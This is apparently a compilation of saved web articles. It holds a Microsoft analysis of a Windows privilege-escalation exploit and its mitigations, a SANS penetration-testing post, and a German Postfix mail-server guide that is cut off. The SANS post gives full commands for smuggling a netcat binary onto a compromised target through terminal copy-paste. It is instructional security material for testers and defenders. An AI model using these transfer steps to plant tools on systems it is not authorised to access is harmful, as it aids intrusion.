client and trusted attestation server to take advantage of it**.** For an
example of such a tool, download the  TPM Platform Crypto-Provider Toolkit
from Microsoft Research or Microsoft Enterprise Security MVP Dan Griffin’s
Measured Boot Tool **.**  
  
Measured Boot uses the power of UEFI, TPM, and Windows 8 to give you a way to
confidently assess the trustworthiness of a client PC across the network**.**

## Summary****

Secure Boot, Trusted Boot, and Measured Boot create an architecture that is
fundamentally resistant to bootkits and rootkits**.** In Windows 8, these
features have the potential to eliminate kernel-level malware from your
network**.** This is the most groundbreaking antimalware solution that Windows
has ever had: It’s leaps and bounds ahead of everything else**.** With Windows
8, you can truly trust the integrity of your operating system**.**  
  
For more information:

****

# Type Inference Languages: Standard ML, OCaml, Scala, Haskell - Hyperpolyglot

**Created:**| _10/11/2011 6:21:15 PM_  
---|---  
**Updated:**| _10/11/2011 6:21:15 PM_  
**Author:**| __  
**Tags:**| _haskell OCaml scala_  
  
Type Inference Languages: Standard ML, OCaml, Scala, Haskell

# Detecting and mitigating elevation-of-privilege exploit for CVE-2017-0005

**Created:**| _5/7/2017 10:48:36 AM_  
---|---  
**Updated:**| _5/7/2017 10:48:36 AM_  
**Author:**| __  
**Tags:**| _windows security Exploit_  
  

  

# Detecting and mitigating elevation-of-privilege exploit for CVE-2017-0005

Rate this article

★☆★☆★☆★☆★☆

★☆★☆★☆★☆

★☆★☆★☆

★☆★☆

★☆

<img src='img/avatar.jpg' width='22' height='22' alt='avatar of msft-mmpc'
/>msft-mmpcMarch 27, 20178

  * Share
  * 465
  * 132

* * *
On March 14, 2017, Microsoft released security bulletin MS17-013 to address
CVE-2017-0005, a vulnerability in the Windows _Win32k_ component that could
potentially allow elevation of privileges. A report from a trusted partner
identified a zero-day exploit for this vulnerability. The exploit targeted
older versions of Windows and allowed attackers to elevate process privileges
on these platforms.

In this article, we walk through the technical details of the exploit and
assess the performance of tactical mitigations in Windows 10 Anniversary
Update—released in August, 2016—as well as strategic mitigations like
Supervisor Mode Execution Prevention \(SMEP\) and virtualization-based
security \(VBS\). We also show how upcoming Creators Update enhancements to
Windows Defender Advanced Threat Protection \(Windows Defender ATP\) can
detect attacker elevation-of-privilege \(EoP\) activity, including EoP
activities associated with the exploit.

## Zero-day elevation-of-privilege exploit

Upon review of its code, we found that this zero-day EoP exploit targets
computers running Windows 7 and Windows 8. The exploit has been created so
that it avoids executing on newer platforms.

The exploit package unfolds in four stages:

<img src='img/1-Execution-stages-of-the-exploit-package-and-corresponding-
functionality.png' width='321' height='309' alt='Execution stages of the
exploit package and corresponding functionality' />

_Figure_ _1_ _.__Execution stages of the exploit package and corresponding
functionality_

### Stages 1 and 2 – Decryptor and API resolver

To protect the main exploit code, attackers have encrypted the initial stage
PE file using AES-256 algorithm. To load code for the next stage, a password
must be passed as a parameter to the main entry function. Using the
_CryptHashData_ API, the password is used as a key to decrypt the loader for
the next stage.

Stage 2 acts as an intermediate stage where API resolution is performed. API
resolution routines in this stage resemble how shellcode or position-
independent code works.

The following code shows part of the _GetProcAddress_ API resolution routine.
This code appears to obfuscate the succeeding payload and stifle analysis.

<img src='img/2-Locating-kernel32GetProcAddress-location-using-EAT-
traverse.png' width='655' height='573' alt='Locating kernel32!GetProcAddress
location using EAT traverse' />

_Figure_ _2_ _.__Locating kernel32\!GetProcAddress location using EAT
traverse_

### Stage 3 – Avoiding newer platforms

In stage 3, the exploit package performs environmental checks, specifically to
identify the operating system platform and version number. The attacker
ensures that the exploit code runs on vulnerable systems that have fewer
built-in mitigations, particularly Windows 7 and Windows 8 devices.

<img src='img/3-Code-that-performs-environmental-checks.png' width='718'
height='695' alt='Code that performs environmental checks' />

_Figure_ _3_ _. Code that performs environmental checks_

Analysis of the exploit code reveals targeting of systems running specific
versions of Windows:

  * Major release version 5
  * Major release version 6 and minor version 0, 1, or 2

These versions map to Windows operating systems between Windows 2000 and
Windows 8, notably excluding Windows 8.1 and Windows 10. Also, upon
examination of its architecture-checking routine, we find that the exploit
code targets 64-bit systems.

The next stage payload is loaded through DLL reflection.

### Stage 4 – Exploit routine

After the environmental checks, the attacker code begins actual exploit of the
Windows kernel vulnerability CVE-2017-0005, resulting in arbitrary memory
corruption and privileged code execution.

#### _PALETTE.pfnGetNearestFromPalentry_ corruption

Code execution in the kernel space is made possible by a corrupted pointer in
the _PALETTE.pfnGetNearestFromPalentry_ function. Microsoft security
researchers have been closely tracking this exploitation technique, which is
designed to execute code in the kernel courtesy of a malformed _PALETTE_
object. Observed in an unrelated sample used during the _Duqu_ incident, we
have described this relatively old exploit technique in a Virus Bulletin 2015
presentation.

The following snippet shows the corrupted state of the PALETTE function
pointer:

<img src='img/4-PALETTE.pfnGetNearestFromPalentry-corruption.png' width='763'
height='82' alt='PALETTE.pfnGetNearestFromPalentry corruption' />

_Figure_ _4_ _.__PALETTE.pfnGetNearestFromPalentry corruption_

The exploit code calls the native API _NtGdiEngBitBlt_ to trigger an
_win32k\!XLATEOBJ\_iXlate_ function call that uses the corrupted handler. This
passes the control flow to a previously allocated shellcode. As a comparison,
the exploit code in the _Duqu_ 2.0 case used a _GetNearestPaletteIndex_ call
from _Gdi32.dll_ to pass execution to the corrupt callback handler. This
difference clearly indicates that these two exploits are unrelated, despite
similarities in their code—similarities that can be attributed to the fact
that these exploitation techniques are well-documented.

The exploit uses dynamically constructed _syscall_ code snippets to call
native Windows APIs.

<img src='img/5-Dynamically-constructed-calls-to-kernel-functions.png'
width='460' height='116' alt='Dynamically constructed calls to kernel
functions' />

_Figure_ _5_ _. Dynamically constructed_ _calls to kernel functions_

During the execution of the shellcode, the call stack looks like following:

<img src='img/6-Example-of-the-call-stack-when-passing-control-flow-using-the-
corrupted-function-handler.png' width='708' height='344' alt='Example of the
call stack when passing control flow using the corrupted function handler' />

_Figure_ _6_ _. Example of the call stack when passing control flow using the
corrupted function handler_

Once the shellcode is executed, the exploit uses a common token-swapping
technique to obtain elevated, SYSTEM privileges for the current process. This
technique is often observed in similar EoP exploits.

<img src='img/7-Token-swapping-shellcode.png' width='808' height='722'
alt='Token-swapping shellcode' />

_Figure_ _7_ _.__Token-swapping shellcode_

## Mitigation and detection

As previously mentioned, this zero-day exploit does not target modern systems
like Windows 10. If environmental checks in the exploit code are bypassed and
it is forced to execute on such systems, our tests indicate that the exploit
would be unable to completely execute, mitigated by additional layers of
defenses. Let’s look at both the tactical mitigations—medium-term mitigations
designed to break exploitation techniques—as well as the strategic
mitigations—durable, long-term mitigations designed to eliminate entire
classes of vulnerabilities—that stop the exploit.

### Tactical mitigation – prevention of _pfnGetNearestFromPalentry_ abuse

The use of _PALETTE.pfnGetNearestFromPalentry_ as a control transfer point has
been tracked by Microsoft security researchers for quite some time. In fact,
this method is on the list tactical mitigations we have been pursuing. In
August 2016, with the Windows 10 Anniversary Update, Microsoft released
tactical mitigation designed to prevent the abuse of
_pfnGetNearestFromPalentry_. The mitigation checks the validity of _PALETTE_
function pointers when they are called, ensuring that only a predefined set of
functions are called and preventing any abuse of the structure.

### Strategic mitigations

Other than the described tactical mitigation, this exploit could also be
stopped in Windows 10 by SMEP, ASLR improvements in Windows kernel 64-bit, and
virtualization-based security \(VBS\).

#### Supervisor Mode Execution Prevention \(SMEP\)

SMEP is a strategic mitigation feature supported by newer Intel CPUs and
adopted since Windows 8.

With SMEP, bits in the page table entry \(PTE\) serve as _User/Supervisor
\(U/S\)_ flags that designate the page to be either in user mode or kernel
mode. If a user-mode page is called from kernel-mode code, SMEP generates an
access violation and the system triggers a bug check that halts code execution
and reports a security violation. This mechanism broadly stops attempts at
using user-mode allocated executable pages to run shellcode in kernel mode, a
common method used by EoP exploits.

<img src='img/8b-SMEP-capturing-exploit-attempt.png' width='750' height='448'
alt='SMEP capturing exploit attempt' />

_Figure_ _8_ _.__SMEP capturing exploit attempt_

Strategic mitigation like SMEP can effectively raise the bar for a large pool
of attackers by instantly rendering hundreds of EoP exploits ineffective,
including old-school exploitation methods that call user-mode shellcode
directly from the kernel, such as the zero-day exploit for CVE-2017-0005.

To check whether a computer supports SMEP, one can use the Coreinfo tool. The
tool uses CPUID instructions to show the sets of CPUs and platforms that
should support the feature. The following screen shows that the tested CPU
supports SMEP. SMEP is supported on Windows 8 and later.

<img src='img/9-Coreinfo-shows-whether-SMEP-is-enabled.png' width='746'
height='353' alt='Coreinfo shows whether SMEP is enabled' />

_Figure_ _9_ _.__Coreinfo shows whether SMEP is enabled_

#### Windows kernel 64-bit ASLR improvements

Although attackers are forced to work harder to create more sophisticated
exploits with SMEP, we do know from studies shared in security conferences and
documented incidents that there are ways to potentially bypass SMEP
mitigation. These bypass mechanisms include the use of kernel ROP gadgets or
direct PTE modifications through read-write \(RW\) primitives. To respond to
these foreseeable developments in exploitation techniques, Microsoft has
provided Windows kernel 64-bit ASLR improvements with the Windows 10
Anniversary Update and has made SMEP stronger with randomized kernel
addresses, mitigating a bypass vector resulting from direct PTE corruption.

<img src='img/10-Windows-Kernel-64-bit-ASLR-improvements.png' width='1024'
height='496' alt='Windows Kernel 64-bit ASLR improvements' />

_Figure_ _10_ _. Windows Kernel 64-bit ASLR improvements_

#### Virtualization-based security \(VBS\)

Virtualization-based security \(VBS\) enhancements provide another layer of
protection against attempts to execute malicious code in the kernel. For
example, Device Guard blocks code execution in a non-signed area in kernel
memory, including kernel EoP code. Enhancements in Device Guard also protect
key MSRs, control registers, and descriptor table registers. Unauthorized
modifications of the CR4 control register bitfields, including the SMEP field,
are blocked instantly.

### Windows Defender ATP detections

With the upcoming Creators Update release, Windows Defender ATP will be able
to detect attempts at a SMEP bypass through CR4 register modifications.
Windows Defender ATP will monitor the status of the CR4.SMEP bit and will
report inconsistencies. In addition to this, Windows Defender ATP will detect
token-swapping attempts by monitoring the state of the token field of a
process structure.

The following screenshot shows Windows Defender ATP catching exploit code
performing the token-swapping technique to elevate privileges.

<img src='img/11-Detection-of-token-swapping-technique-on-Windows-Defender-
ATP-1024x491.png' width='1024' height='491' alt='Detection of token-swapping
technique on Windows Defender ATP' />

_Figure_ _11_ _.__Detection of token-swapping technique on Windows Defender
ATP_

## Conclusion: Resiliency with mitigation and behavioral detection

The zero-day exploit for CVE-2017-0005 shied away from newer systems because
it would have simply been stopped and would have only managed to get
unnecessary exposure. Attackers are not so much focusing on legacy systems but
avoiding security enhancements present in modern hardware and current
platforms like Windows 10 Anniversary Update. While patches continue to
provide single-point fixes for specific vulnerabilities, this attacker
behavior highlights how built-in exploit mitigations like SMEP, the ASLR
improvements, and virtualization-based security \(VBS\) are providing
resiliency.

Windows Defender ATP with Creators Update—now available for public
preview—extends defenses further by detecting exploit behavior on endpoints.
With the upcoming enhancements, Windows Defender ATP could raise alerts so
that SecOps personnel are immediately made aware of EoP activity and can
respond accordingly. Read our previous post about uncovering cross-process
injection to learn more about how Windows Defender ATP detects sophisticated
breach activity.

In addition to strengthening generic detection of EoP exploits, Microsoft
security researchers are actively gathering threat intelligence and indicators
attributable to ZIRCONIUM, the activity group using the CVE-2017-0005 exploit.
Comprehensive threat intelligence about activity groups and their attack
methods are available to Windows Defender ATP customers.

Windows Defender ATP is built into the core of Windows 10 Enterprise and can
be evaluated free of charge.

**Matt Oh**  
_Windows Defender ATP Research Team_

Tags  ASLR Coreinfo CVE-2017-0005 Device Guard Duqu EoP PALETTE SMEP Threat
Intelligence token swapping VBS virtualization-based security Windows 10
Anniversary Update Windows 10 Creators Update Windows Defender Advanced Threat
Protection Windows Defender ATP zero-day exploits ZIRCONIUM

* * *
  

# SANS Penetration Testing | Awkward Binary File Transfers with Cut and Paste | SANS Institute
**Created:**| _12/10/2014 8:45:13 PM_  
---|---  
**Updated:**| _12/13/2014 7:32:59 PM_  
**Author:**| __  
**Tags:**| __  
  

# Awkward Binary File Transfers with Cut and Paste

 _\[Editor 's note: Josh Wright spins up another useful blog article about
different ways to move files to and from Linux systems. Lots of nice little
tricks in this one. Thanks, Josh\! --Ed.\]_

By Josh Wright

Sometimes I find myself with access to a remote Linux or Unix box, with
limited opportunity to transfer files to my target. I appreciate the "Living
off the Land" mentality and relying on locally-available resources instead of
adding tools to my host as much as the next guy \(or gal\), but sometimes I
need a binary to get the job done.

Fortunately, I've been working with Unix and Linux for a long time, and I
remember old techniques back when modems made that horrible screeching sound.
As long as you have a terminal, you can upload and download files regardless
of other network access...with a little awkwardness.

### Encode and Clip

In the example that follows, I'm going to transfer the _netcat-traditional_
"nc" binary to my target system. I'm starting from Kali Linux, and my target
is a CentOS system. The distribution type makes little difference for these
steps, other than ensuring your binary will work on the target system.

### Step 1: Compress the Source Binary

Compress the source binary using a method that will be accessible on the
target system. Gzip is usually a smart choice:

[code]

    -rwxr-xr-x 1 root root 22140 Jun 12 2012 /bin/nc.traditional  
    root@kali:~# gzip /bin/nc.traditional  
    root@kali:~# ls -l /bin/nc.traditional.gz  
    -rwxr-xr-x 1 root root 11197 Jun 12 2012 /bin/nc.traditional.gz
    
[/code]

### Step 2. Install Sharutils and Xsel

On the attacker system, install the sharutils and xsel packages \(we'll use
them next\):

[code]

    root@kali:~# apt-get install sharutils xsel  
    Reading package lists... Done  
    Building dependency tree  
    Reading state information... Done  
    The following NEW packages will be installed:  
    sharutils xsel  
    ...  
    Setting up sharutils (1:4.11.1-1) ...  
    Setting up xsel (1.2.0-1) ...
    
[/code]

### Step 3. Alias Pbcopy

Mac OS X has a wonderful tool "pbcopy", which takes the STDOUT from one
program and places the content in the clipboard. This makes it so you can
"cat" a file and send the output to the clipboard without having to highlight
everything in your terminal with a mouse. Linux users have also had this for a
while with the "xsel" \(and "xclip"\) tool. Create an alias for pbcopy in your
login profile so it is always accessible and easy to remember:

[code]

    root@kali:~# echo "alias pbcopy='xsel --clipboard --input'"  
    >>~/.bash_profile  
    root@kali:~# source ~/.bash_profile  
    root@kali:~# alias pbcopy  
    alias pbcopy='xsel --clipboard --input'
    
[/code]

### Step 4. Transfer the File

With the prerequisites out of the way, we'll transfer the file to the target
system. First we convert the binary 7-bit ASCII format using the uuencode
utility. Uuencode is the precursor the Base64 or MIME encoding techniques, and
it breaks up the ASCII content into 63-character lines that makes it simpler
to cut-and-paste than Base64 encoding. In the example below, we specify the
input filename twice — the first is the actual file, and the 2 nd is the
filename reference inside the uuencoded data:

root@kali:~\# uuencode /bin/nc.traditional.gz /bin/nc | pbcopy
Next, switch to your target system, and create a new file using "cat", pasting
the content from the clipboard, and pressing "CTRL+C" at the end of the paste
to close the file and return to the shell:

[code]

    josh@centos:~ $ cat >nc.gz.uu  
    begin 755 /bin/nc.traditional.gz  
    M'XL("$YEUT\``VYC+G1R861I=&EO;F%L`-U\?WR4U97W,Y,)#B%D8H46*VT?  
    M==!@DT@0+3\U0$"T42,BV@+"D,PP(\G,=.:9`+Y40B<!QB$VW5I?=VLKE&[7  
    ...  
    M/OH.]5W3B_+P.&ZOY='CMZ^.WG$^/:;7\_"XYAP'WID+X!W,IW<`]!I4S%3(  
    E7\KLGWA\K:SR3LPG6PY/-W.+EO4C7OZW(*TF_Q=K0^LO?%8`````  
    `  
    end  
    ^C  
    josh@centos:~ $
    
[/code]

  
Now we have a file called nc.gz.uu which we want to uudecode. Do not fear if
the target system is missing the uudecode utility -- we have Python\!

[code]

    josh@centos:~$ python -c 'from uu import decode; decode("nc.gz.uu", "nc.gz")'  
    josh@centos:~$ gzip -d nc.gz  
    mock@centos:~$ chmod 755 nc  
    josh@centos:~$ ./nc -h  
    [v1.10-40]  
    connect to somewhere: nc [-options] hostname port[s] [ports] ...  
    listen for inbound: nc -l -p port [-options] [hostname] [port]  
    options:  
    -c shell commands as `-e'; use /bin/sh to exec [dangerous!!]  
    ...
    
[/code]

  
This process can get annoying when transferring multiple files, so remember
that you can use tar to create an archive of everything you need to transfer
first.

### Conclusion

Writing this article made me feel old. I distinctly remember using this same
technique back when I was writing articles for Virus Laboratories and
Distribution \(VLAD\) in the 90's. That was ages ago, but good tricks die
hard.

-Joshua Wright  
jwright@willhackforsushi.com

# Postfix, weitere Konfiguration

**Created:**| _2/24/2010 11:20:09 PM_  
---|---  
**Updated:**| _2/24/2010 11:20:25 PM_  
**Author:**| __  
**Tags:**| _setup Linux postfix Email antispam_  
  

# Postfix, weitere Konfiguration

## Mehrere Domains

Wie ich bereits im ersten Teil des HowTos gezeigt habe, kann man sehr einfach
mehrere Maildomains mit Postfix hosten indem man den mydestination Parameter
entsprechend ergänzt. Aber dabei kommen immer alle Benutzernamen als der selbe
Account in allen Domains vor. Dies ist oft nicht gewünscht.

Natürlich bietet Postfix auch Lösungen an um mehrere Domains mit jeweils
verschiedenen Accounts zu haben. Dazu läßt sich vor allem der Parameter
virtual\_alias\_domains zusammen mit virtual\_alias\_maps einsetzen. Virtuelle
Aliase unterscheiden sich von normalen Aliasen vor allem dadurch das diese
vollständige Adressen inklusive Domainteil sind. Virtuelle Aliase können dann
genauso wie normale Aliase auf lokale Benutzeraccounts oder auch auf externe
Mailadressen zeigen.

Möchte man also mehrere Domains mit jeweils getrennten Benutzern anlegen, dann
erstellt man für alle Benutzer Benutzeraccounts. Dazu kann man der Einfachheit
halber den Domainnamen als Teil des Benutzernamens verwenden. Dies ist nicht
nötig, ermöglicht aber besser die Übersicht zu behalten. Möchte man z. B. die
Domains example.com und example.net mit jeweils getrennten Nutzern verwalten
und hat den User Klaus in example.net und den User Hans in example.com, könnte
man die Benutzeraccounts examplenetklaus und examplecomhans anlegen. Dann
trägt man die Domains example.net und example.com nicht in mydestination,
sondern in virtual\_alias\_domains ein. Danach trägt man die Emailadressen von
Klaus und Hans in eine eigene Datei die als Lookup-Tabelle benutzt wird ein,
z. B. in die Datei /etc/postfix/virtual. In die main.cf wird dann folgendes
eingetragen:

virtual\_alias\_domains = example.net, example.com  
virtual\_alias\_maps = hash:/etc/postfix/virtual

Die Datei /etc/postfix/virtual könnte dann z. B. so aussehen:

klaus@example.net examplenetklaus  
hans@example.com examplecomhans

Bei dieser Datei fällt auf, das sie ein etwas anderes Format als die normale
Alias Datei hat, da kein Doppelpunkt als Trennzeichen zwischen Aliasadresse
und Benutzername verwendet wird. Tatsächlich ist die normale Alias-Datei die
einzigste Lookup-Tabelle die den Doppelpunkt als Trennzeichen enthält und
daher wird auch nur diese mit dem Befehl postalias in eine Datenbankdatei
konvertiert. Alle anderen Lookup-Tabellen benutzen beliebige Whitespace-
Zeichen \(also Leerzeichen oder Tabzeichen\) als Trenner zwischen linker und
rechter Seite und werden mit dem Befehl postmap in eine Datenbankdatei
konvertiert:

postmap virtual

Dies wird aus der Datei virtual die benötigte Datenbankdatei virtual.db
erzeugen.

## Mail-Gateways

2 relativ spezielle Einsatzgebiete von Postfix sind Mailgateways und Backup-
MX-Server. Beiden gemeinsam ist, das sie zwar Mails für bestimmte Domänen
annehmen sollen, aber diese nicht in einen lokalen Nachrichtenspeicher ablegen
sollen, sondern stattdessen an einen weiteren Mailserver durchreichen.
Mailgateways werden z. B. in größeren Firmen in einer DMZ als vorgeschaltete
Mailserver verwendet, welche z. B. auch zusätzlich der Viren- und/oder
Spamfilterung dienen können. Außerdem ist solch ein vorgeschalteter Mailserver
auch in der Lage z. B. Mails für mehrere Subdomains anzunehmen und diese z. B.
auf Abteilungsmailserver je nach Subdomain weiterzuleiten, falls in einer
Firma jede Abteilung ihren eigenen Mailserver betreibt.

Ein Backup-MX dient der Ausfallsicherheit und wird im DNS als niedriger
priorisierter Mailserver für die Domäne eingetragen. Falls der Hauptmailserver
ausfällt, nimmt der Backup-MX die Mails an und behält sie solange in seiner
Queue, bis der Hauptmailserver diese wieder annehmen kann.

Sollen Mails für eine Domäne nur zwecks weiteren relaying angenommen werden,
ist diese Domäne weder in mydestination noch in virtual\_alias\_domains
anzugeben, sondern stattdessen in relay\_domains. Außerdem muß der Server auch
noch wissen wohin er solche Mails weiter zustellen soll. Dazu gibt es die
Transport Lookup-Tabelle. In diese Lookup-Tabelle wird für jede Zieladresse
\(vollständige Emailadresse oder Domain\) der sogenannte Next Hop eingetragen.
Die Tabelle kann z. B. so aussehen:

verkauf.example.net smtp:\[mail.verkauf.example.net\]  
support.example.net smtp:\[mail.support.example.net\]

Die Tabelle hat das Format: Adresse Transporttyp:Next Hop. Adresse kann sowohl
eine vollständige Emailadresse als auch nur der Domainteil sein. Der
Transporttyp ist beim Weitertransport an einen anderen Mailserver immer smtp.
Ein anderer möglicher Transporttyp wäre z. B. LMTP. Der Next Hop ist der neue
Zielhost. Für den Zielhost kann eine IP-Adresse, ein Hostname oder eine Domain
eingetragen werden. Wird ein Host- oder Domainname eingetragen, dann wird auf
diesen Namen eine MX-Abfrage durchgeführt. Soll keine MX-Abfrage durchgeführt
werden, muß der Name in eckige Klammern gestellt werden. Generell bedeutet ein
Eintrag in der Transport Lookup-Tabelle immer eine Art Ausnahme von dem
normalen Zustellweg den Postfix sonst versuchen würde.

Aber Halt\! Das Problem Mailgateway ist noch nicht ganz gelöst: Man stelle
sich jetzt vor der Server nimmt Mails an Domains die in relay\_domains
konfiguriert sind an, z. B. an ingrid@support.example.net. Nun versucht der
Mailserver die Mail an den eigentlichen Zielhost weiterzuleiten. Dieser nimmt
die Mail aber nicht an, weil er zurück meldet, das die Mailadresse
ingrid@support.example.net gar nicht existiert. Bislang weiß das Mailgateway
nur welche Domains es durch relayen darf, aber nicht welche Benutzer es in den
Domains gibt.

Dieses Problem läßt sich lösen indem man dem Relayserver ebenfalls alle
Benutzeraccounts bekannt gibt. Dazu läßt sich im großen Stil entweder eine
Lösung über LDAP \(oder auch über NIS\) erreichen, wer aber nicht ganz so viel
User hat und keine zentrale Verwaltung über eine LDAP-Datenbank möchte, kann
auch eine separate Lookup-Tabelle für die User anlegen. In diesem Fall müßte
man natürlich alle User 2-fach pflegen: Einmal auf dem eigentlichen Mailserver
und einmal auf dem Gateway.

Die neue Lookup-Tabelle könnte z. B. /etc/postfix/relay\_recipients mit
folgenden Inhalt sein:

barbara@support.example.net OK  
heinrich@support.example.net OK  
martin@verkauf.example.net OK

Es ist jeweils eine gültige Adresse in einer Zeile anzugeben. Rechts muß auch
ein Wert stehen, aber was dort steht ist egal.

Nun müssen noch die beiden neuen Lookup-Tabellen in Datenbanken umgewandelt
werden:

postmap transport  
postmap relay\_recipients

Danach muß die main.cf noch geändert werden:

relay\_domains = support.example.net, verkauf.example.net  
transport\_maps = hash:/etc/postfix/transport  
relay\_recipient\_maps = hash:/etc/postfix/relay\_recipients

## SASL

Häufig hat man das Problem, das man auch Benutzern das Relaying von Mails
gestatten muß, diese aber nicht im gleichen Netzwerk, wie der Mailserver sind,
sondern in sehr unterschiedlichen Netzwerken sein können.
Außendienstmitarbeiter mit ihrem Notebook wollen ebenfalls den Mailserver
benutzen oder man betreibt einen gemieteten sogenannten "Rootserver" in einem
fremden Rechenzentrum, der als Mailserver von unterschiedlichen IPs aus
benutzt werden soll. In diesen Fällen benötigt man eine
Benutzerauthentifizierung. Postfix selbst hat keine Benutzerauthentifizierung,
was jedoch für diesen Zweck benutzt wird ist SASL.

SASL steht für Simple Authentication and Security Layer. Es ist eine
Bibliotheksfunktion die von beliebigen anderen Serverprogrammen genutzt werden
kann um Authentifizierungen durchzuführen. Die bekannteste SASL
Implementierung sind die Cyrus SASL Bibliotheken. Daneben gibt es auch noch
Dovecot SASL. Postfix kann sowohl Cyrus SASL, als auch Dovecot SASL benutzen.
Falls sie ohnehin Dovecot als POP/IMAP-Server verwenden, ist es sinnvoll auch
die Dovecot SASL Authentifizierung für Postfix zu verwenden. Dann können
Postfix und der POP/IMAP-Server auf die gleichen Authentifizierungsquellen
zugreifen. Ansonsten wird meist Cyrus SASL verwendet zumal es schon erheblich
länger als Dovecot SASL von Postfix unterstützt wird.

Die Unterstützung für die jeweilige SASL Implementierung muß in Postfix
einkompiliert sein um sie benutzen zu können. Falls sie also ein
vorgefertigtes Paket benutzen, achten sie auf die SASL Unterstützung. Welche
SASL-Implementierungen Postfix unterstützt können sie mit dem Befehl postconf
-a feststellen. Falls sie Postfix aus den Quellen selbst kompilieren, müssen
sie darauf achten die SASL Bibliotheken ebenfalls installiert zu haben und die
entsprechenden Parameter für make verwenden \(Postfix verwendet kein
configure-Script\).

SASL unterstützt verschiedene Authentifizierungsmethoden, wie etwa Plain,
Login, Digest-MD5, CRAM-MD5, Kerberos und Anonymous.

_Plain_ benutzt Klartextpasswörter. Sie können zusätzlich TLS verwenden um die
Übertragung zu sichern. Der Vorteil von Plain ist das sie die normale Unix-
Passwortdatenbank benutzen können, ohne eine eigene Passwortdatenbank aubauen
zu müssen.

_Login_ benutzt ebenfalls Klartextpasswörter. Manche ältere Clients ziehen
Login gegenüber Plain vor, weshalb es auch unterstützt wird. Ansonsten gilt
für Login auch alles für Plain gesagte.

_Digest-MD5_ und  _CRAM-MD5_ sind Verfahren bei dem nie das eigentliche
Passwort über die Leitung gesendet wird. Stattdessen sendet der Server eine
"Challenge". Der Client kombiniert die Challenge mit dem Passwort und bildet
daraus einen MD5-Hash. Dieser Hash wird dann dem Server gesendet. Der Server
ermittelt dann ob er auf das gleiche Ergebnis kommt, womit der Client das
richtige Passwort kennen muß.

_Kerberos_ ist ein Netzwerkauthentifizierungsdienst der vor allem für Single-
Sign-On benutzt wird. Falls sie bereits Kerberos in ihrem Netzwerk einsetzen,
kann SASL ebenfalls auf Kerberos zurückgreifen um Single-Sign-On zu
unterstützen. Die Nutzung von Kerberos für SASL macht nur Sinn, wenn sie
ohnehin bereits Kerberos einsetzen.

_Anonymous_ ist eigentlich kein Authentifizierungsverfahren, sondern läßt
anonyme Anmeldungen zu. Dies mag für andere Anwendungen sinnvoll sein, aber
der Zweck von SASL für einen SMTP-Server ist eine Authentifizierung. Anonyme
Anmeldungen wären ohnehin auch schon ohne SASL möglich.

Möchten sie die normalen Unix-Passwortinformationen verwenden \(also z. B.
/etc/shadow oder PAM\) sind sie zwangsläufig auf Plain und Login beschränkt,
da die Passwortdatenbank selber verschlüsselt ist und für die verschlüsselten
Verfahren CRAM-MD5 und Digest-MD5 muß das Passwort im Klartext auf dem Server
vorhanden sein.

Möchten Sie Digest-MD5 oder CRAM-MD5 einsetzen, dann müssen sie eine eigene
SASL-spezifische Passwortdatei aufbauen und verwenden. Sie müssen sich daher
vorab für ein bestimmtes Verfahren entscheiden, da die Konfiguration je nach
verwendeten Verfahren unterschiedlich aussieht.

### Plain und Login mit saslauthd

Der Postfix smtpd kann auf die Passwortinformationen des Systems nicht
zugreifen, da er nicht mit Root-Rechten arbeitet. Aus diesem Grund kommt Cyrus
SASL mit einem eigenen Dienst für die Überprüfung der lokalen
Passwortdatenbank, bzw. für die Nutzung von PAM. Dieser Dienst ist der
saslauthd, welcher bei Cyrus SASL mit dabei ist. Zusätzlich benötigt SASL noch
für jeden Serverdienst der SASL benutzt eine Datei die festlegt welches
Authentifizierungsframework \(also z. B. saslauthd\) dieser Server benutzt.
Für einen SMTP-Server heißt diese Datei smtpd.conf. Bei vorkompilierten
Paketen findet sich die Datei oft unter /etc/postfix/sasl, ansonsten auch
unter /usr/local/lib/sasl2. Es reicht in diese Datei folgende Zeile zu
schreiben:

pwcheck\_method: saslauthd

Dies läßt den Postfix-Server Authentifizierungen an den saslauthd
weiterleiten. Der saslauthd muß dazu mit Root-Rechten als Systemdienst
gestartet werden. Das der saslauthd Root-Rechte benötigt ist ein
kalkulierbares Risiko, da er nicht auf Netzwerkanfragen lauscht, sondern nur
lokale Anfragen entgegennimmt. Nähere Informationen zum saslauthd finden sie
auch in dessen Manpage.

### Digest-MD5 und CRAM-MD5 mit SASL-Datenbank

Falls Sie Digest-MD5 oder CRAM-MD5 zur Authentifizierung verwenden wollen, muß
eine eigene Datenbank mit Authentifizierungsinformationen aufgebaut werden.
Zuvor erstellen sie die Datei smtpd.conf, die meistens entweder in
/etc/postfix/sasl oder in /usr/local/lib/sasl2 liegt, mit folgender Zeile:

pwcheck\_method: auxprop

auxprop steht für Auxiliary Proprietary Plugin und kann verschiedene Backends
zur Authentifizierung einbinden, darunter auch eine von Cyrus SASL
mitgelieferte eigene Benutzerdatenbank. Einen Benutzer in der SASL eigenen
Benutzerdatenbank können sie mit dem Befehl saslpasswd2 erstellen:

saslpasswd2 -c user

Dies wird sie nach einem Passwort fragen und die Benutzerdatenbank unter
/etc/sasl2.db erstellen. Der Parameter -c steht dabei für das erstellen eines
neuen Users, mit -d kann man User löschen. Achten sie bei der SASL
Datenbankdatei auf die Zugriffsrechte. Die Datenbank enthält die Passwörter im
Klartext. Die Datei muß natürlich für den Postfix-User lesbar sein. Denkbar
ist es also root Lese- und Schreibrecht auf die Datei zu geben \(für
Änderungen\) und der Gruppe von Postfix nur Leserechte, während alle anderen
keine Rechte haben:

chown root:postfix /etc/sasl2.db  
chmod 640 /etc/sasl2.db

Falls der smtpd bei ihnen in einem Chroot läuft \(dies läßt sich in der
master.cf einstellen\), kann dieser allerdings nicht auf die Datenbank die ja
unter /etc liegt zugreifen. Daher ist es in diesem Fäll nötig nach jeder
Änderung die Datenbank in den entsprechenden Pfad im Chroot zu kopieren, z. B.
so:

cp -p /etc/sasl2.db /var/spool/postfix/etc

Die Option -p für cp erhält dabei die Zugriffsrechte. Da nun zum anlegen von
Mailusern mehrere Schritte nötig sind, ist es sinnvoll diese z. B. in einem
Shellscript zusammenzufassen, das dann jedesmal bei Änderungen vom
Administrator aufgerufen werden kann.

### Änderungen an der main.cf

Um SASL nun nutzen zu können muß noch die main.cf geändert werden:

smtpd\_sasl\_auth\_enable = yes  
smtpd\_recipient\_restrictions = permit\_mynetworks,  
permit\_sasl\_authenticated, reject\_unauth\_destination

smtpd\_sasl\_auth\_enable schaltet die SASL Authentifizierung ein.
smtpd\_recipient\_restrictions ist ein Parameter der Client-Beschränkungen
definiert. Dies wird dazu benutzt festzulegen, wer Mails durch den Server
